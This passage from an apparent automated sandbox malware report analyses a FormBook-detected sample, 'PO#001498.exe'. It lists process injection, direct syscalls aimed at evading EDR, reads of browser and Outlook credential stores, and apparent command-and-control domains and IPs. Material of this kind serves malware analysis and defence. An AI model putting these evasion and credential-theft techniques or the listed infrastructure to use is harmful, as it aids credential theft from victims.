            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC810 mov eax, dword ptr fs:[00000030h]2_2_036BC810
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtResumeThread: Direct from: 0x773836ACJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtMapViewOfSection: Direct from: 0x77382D1CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtWriteVirtualMemory: Direct from: 0x77382E3CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtProtectVirtualMemory: Direct from: 0x77382F9CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtSetInformationThread: Direct from: 0x773763F9Jump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtCreateMutant: Direct from: 0x773835CCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtNotifyChangeKey: Direct from: 0x77383C2CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtSetInformationProcess: Direct from: 0x77382C5CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtCreateUserProcess: Direct from: 0x7738371CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtQueryInformationProcess: Direct from: 0x77382C26Jump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtResumeThread: Direct from: 0x77382FBCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtWriteVirtualMemory: Direct from: 0x7738490CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtAllocateVirtualMemory: Direct from: 0x77383C9CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtReadFile: Direct from: 0x77382ADCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtAllocateVirtualMemory: Direct from: 0x77382BFCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtDelayExecution: Direct from: 0x77382DDCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtQuerySystemInformation: Direct from: 0x77382DFCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtOpenSection: Direct from: 0x77382E0CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtQueryVolumeInformationFile: Direct from: 0x77382F2CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtQuerySystemInformation: Direct from: 0x773848CCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtReadVirtualMemory: Direct from: 0x77382E8CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtCreateKey: Direct from: 0x77382C6CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtClose: Direct from: 0x77382B6C
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtAllocateVirtualMemory: Direct from: 0x773848ECJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtQueryAttributesFile: Direct from: 0x77382E6CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtSetInformationThread: Direct from: 0x77382B4CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtTerminateThread: Direct from: 0x77382FCCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtQueryInformationToken: Direct from: 0x77382CACJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtOpenKeyEx: Direct from: 0x77382B9CJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtAllocateVirtualMemory: Direct from: 0x77382BECJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtDeviceIoControlFile: Direct from: 0x77382AECJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtCreateFile: Direct from: 0x77382FECJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtOpenFile: Direct from: 0x77382DCCJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeNtProtectVirtualMemory: Direct from: 0x77377B2EJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\forfiles.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\forfiles.exeThread register set: target process: 672Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\forfiles.exeThread APC queued: target process: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\PO#001498.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2DE3008Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
            Source: C:\Users\user\Desktop\PO#001498.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO#001498.exe"Jump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeProcess created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\SysWOW64\forfiles.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
            Source: RVeTDjgqyLeJ.exe, 00000007.00000002.4604861656.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000000.2517670424.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000000.2663210438.0000000001961000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: IProgram Manager
            Source: PO#001498.exe, RVeTDjgqyLeJ.exe, 00000007.00000002.4604861656.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000000.2517670424.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000000.2663210438.0000000001961000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: RVeTDjgqyLeJ.exe, 00000007.00000002.4604861656.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000000.2517670424.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000000.2663210438.0000000001961000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: PO#001498.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: RVeTDjgqyLeJ.exe, 00000007.00000002.4604861656.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000000.2517670424.0000000001030000.00000002.00000001.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000000.2663210438.0000000001961000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_0042039F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\forfiles.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: PO#001498.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
            Source: PO#001498.exeBinary or memory string: WIN_XP
            Source: PO#001498.exeBinary or memory string: WIN_XPe
            Source: PO#001498.exeBinary or memory string: WIN_VISTA
            Source: PO#001498.exeBinary or memory string: WIN_7

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault Accounts2
            Command and Scripting Interpreter            		2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS116
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets241
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		2
            Valid Accounts            		Cached Domain Credentials2
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1529907 Sample: PO#001498.exe Startdate: 09/10/2024 Architecture: WINDOWS Score: 100 28 www.xueerr.xyz 2->28 30 www.paysom.xyz 2->30 32 17 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 Multi AV Scanner detection for submitted file 2->46 50 4 other signatures 2->50 10 PO#001498.exe 1 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Writes to foreign memory regions 10->62 64 Maps a DLL or memory area into another process 10->64 66 Switches to a custom stack to bypass stack traces 10->66 68 Contains functionality to detect sleep reduction / modifications 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 RVeTDjgqyLeJ.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 forfiles.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 RVeTDjgqyLeJ.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.elektromontaze.online 37.9.175.163, 65370, 65385, 65398 WEBSUPPORT-SRO-SK-ASSK Slovakia (SLOVAK Republic) 22->34 36 www.paysom.xyz 203.161.41.205, 65409, 65411, 65412 VNPT-AS-VNVNPTCorpVN Malaysia 22->36 38 11 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            PO#001498.exe32%ReversingLabsWin32.Trojan.AutoitInject
            PO#001498.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

